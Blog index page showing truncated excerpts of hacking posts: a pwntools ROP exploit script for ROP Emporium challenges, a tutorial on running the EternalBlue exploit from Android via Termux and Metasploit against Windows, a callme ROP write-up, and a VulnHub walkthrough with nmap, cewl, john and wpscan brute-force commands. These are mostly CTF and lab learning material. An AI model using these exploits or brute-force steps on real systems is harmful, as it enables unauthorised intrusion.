CTF wr1t3 up5, h4ck1ng 4nd m0r3

Hi, in this tutorial i'll share how i did the write4 and split from ropemporium, bypassing NX (non executable stack) and ASLR (Address Space Layout Randomization). This script works fine to both examples. from pwn import * #context.log_level = "debug" #Enable it to use the pwntools on debug mode e = ELF( "./write432" ) #Open binary. p = process(e.path) #Create new process. p.sendline(cyclic( 400 )) #send 400 pattern to know where is the overflow. p.wait() core = p.corefile #create one core file with eip overflow. eip_offset = cyclic_find(core.eip) #find correct eip offset print "" info( "Found eip Offset %d" , eip_offset) print "" p = process(e.path) p.recv() #Searching symbols on the binary printf = e.symbols[ "printf" ] main = e.symbols[ "main" ] stdin = e.symbols[ "stdin" ] fgets = e.symbols[ "fgets" ] buffer_mem = 0x0804a028 #buffer_mem is address of .data o...

MS17-010 in Android world In this tutorial, i’ll show you guys, how to use the exploit called “Eternalblue” to attack win 7 → win 10, using a android. First of all, I would recommend to you learn about what is Eternalblue , and HOW this exploit works, aaand i’m not responsible for your actions. Be careful. In this tutorial I used: Asus zc553kl with Android 7.0 (nougat). [192.168.1.7]    Windows 7 Ultimate 64bit (Virtualbox) [192.168.1.10]. Termux app ( https://termux.com/ ) Kali Linux (x86) Hacker keyboard app (Android) STARTING First of all you need to download the termux app( on playstore ) and install it. You can learn a lot on this blog how to use termux app. Link: https://gauravssnl.wordpress.com/2017/01/15/how-to-use-termux-app-for-android-terminal-emulator-and-linux-environment/ After termux updated, you must to install our friend metasploit-framework . Use this script to install it. https://github.com/verluchie/termux-meta...

Callme  Hi, in this writeup i’ll try to show some techniques to use pwntools in exploitation. In this case, i’ll use the challenge called “ callme ” , from ROPEmporium:  https://ropemporium.com/challenge/callme.html Hope you enjoy ;) At beginning, lets try to understand how the program flow works. root@kali:~/ Desktop/ropemporium/me/callme # . /callme32 callme by ROP Emporium 32bits Hope you read the instructions... > blabla Exiting So, lets read the instructions.. Text from the ROPEmporium website: Correct order Important: To dispose of the need for any RE we'll tell you the following: You must call  callme_one() , callme_two()  and  callme_three()  in that order, each with the arguments 1,2,3 e.g.  callme_one(1,2,3)  to print the flag.... Ok! we got an idea behind the program.. we need to execute functions which are not in the callme32 binary, but are on the libcallme32.so file. These funct...

Vulnerable docker  VM LINK:  https://www.vulnhub.com/entry/vulnerable-docker-1,208/ Hello world, it is my first write up on this blog. First of all, i’m don't speak fluently, and my English is not quite good, maybe I can say wrong words or something. Anyway, lets go to the write up At beginning, I like to do nmap root@kali : #  nmap -sC -sV -A 192.168.1.6 You can notice the ports 22, and 8000 are open, have a look what is inside of 8000 HTTP port. A wordpress website.. with a big text, right? Ooh looks familiar like another ctf challenges, when you have some random text, one website and one wp-login page(in this case). We need to use this pattern: cewl + john + wpscan cewl → create a wordlist based in the website words. john → create rules on that cewl wordlist. wpscan → bruteforce the xmlrpc.php in the wordpress website. You can follow these commands: root@kali: #  cewl 192.168.1.6:8000 -w cewl_wordlists root@kali : #  john --wordli...